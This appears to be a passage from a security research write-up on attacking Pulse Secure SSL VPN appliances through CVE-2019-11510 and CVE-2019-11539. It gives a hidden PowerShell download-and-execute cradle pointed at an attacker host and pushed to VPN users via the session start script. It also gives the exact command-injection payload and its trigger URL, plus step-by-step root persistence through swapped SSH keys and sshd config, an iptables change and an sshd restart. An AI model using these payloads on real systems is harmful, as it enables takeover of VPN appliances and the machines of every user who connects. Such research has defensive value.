The code we used for the batch script is below.
@echo off
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://your-ip/payload))”
Now on our pulse secure instance we’ll log in with our administrative credentials. You’d be able to get this through exploiting CVE-2019–11510 to either grab the files that hold the session ID, clear-text credentials or hashes which you can crack.
We will then navigate to users -> user roles -> VPN Tunneling -> Windows: Session start script.
From here we can input our UNC path for our SMB server that contains our batch file which will query our shell and execute it. Should look like the below image
From here any users logging into the compromised vpn instance would have our payload executed and subsequently giving access to that user’s machine. We included screen captures alongside a video demonstration of it as well
Now for the fun part, how we were able to leverage a post-auth exploit into gaining an SSH shell that has root privileges. As per the first half, we already mentioned getting auth’ed into an un-patched pulse isn’t hard so we’ll get into how we owned the box.
We discovered during our research that we had permissions to modify the SSH keys and ssh key configurations along side the IP tables which would allow us to seamlessly gain an SSH shell with root access.
For a quick refresh the post-auth command injection requires us to submit the following command
-r$x=”Our command”,system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <
To the tcp dump endpoint which can be found in Maintenance -> trouble shooting -> TCP Dump.
The page will give us an error but the command is processed then we’d request https://your-server/dana-na/auth/setcookie.cgi to execute the command. We need to repeat this process every time we want to execute a query to the server other wise our commands won’t be executed.
This escalation is targeted at modifying the box’s sshd configuration and adding our own SSH key to the system thus granting the ability to ssh in. We’re specifically targeting the authorized keys which is found in the /.ssh/ and cloud_sshd_config which is found in the /etc/ folder. Authorized keys is the keys that are allowed to ssh into the box, while the config sshd file is configuration file for the ssh daemon.
Now to perform post exploitation to gain our ssh shell from here, is fairly straight forward. First we’d cp cloud_sshd_config and authorized keys with the .bak extension so we can have a back up copy of the original files. You should make an sshd config file that will look like this.
Protocol 2
UsePrivilegeSeparation no
RSAAuthentication yes
PubkeyAuthentication yes
ClientAliveInterval 180
ListenAddress 0.0.0.0
After this we’ll curl our own authorized_keys as well as the previously described sshd config file to the tmp folder, since we made our backup copies of the original files we can now safely move our own files to the server and over write it. Curl’ing it from your own server and then moving the file to the directories is the easiest method rather than dealing with modifying it through the command injection.
From here we’d make a request to modify the IPtables to open the port, this can be done through the following command
iptables -A INPUT -p tcp — dport PORT -j ACCEPT
To finalize our changes we need to restart the sshd-ive service to have our modifications to take place.
kill -SIGHUP $(pgrep -f “sshd-ive
Once this is done we can now ssh into our now shelled box.
ssh root@host -p6667
This will give us a root ssh shell without needing further escalation. As mentioned above this would take a bit of time to do manually since we need to make two requests every time we’d want to fire a command. This can be easily scripted out and we prepared a demonstration below to showcase the ability to go from simple admin access to the Pulse Secure SSL VPN to gaining root access to the server. We will additionally be releasing our script to exploit this which can be found at https://github.com/0xDezzy/CVE-2019-11539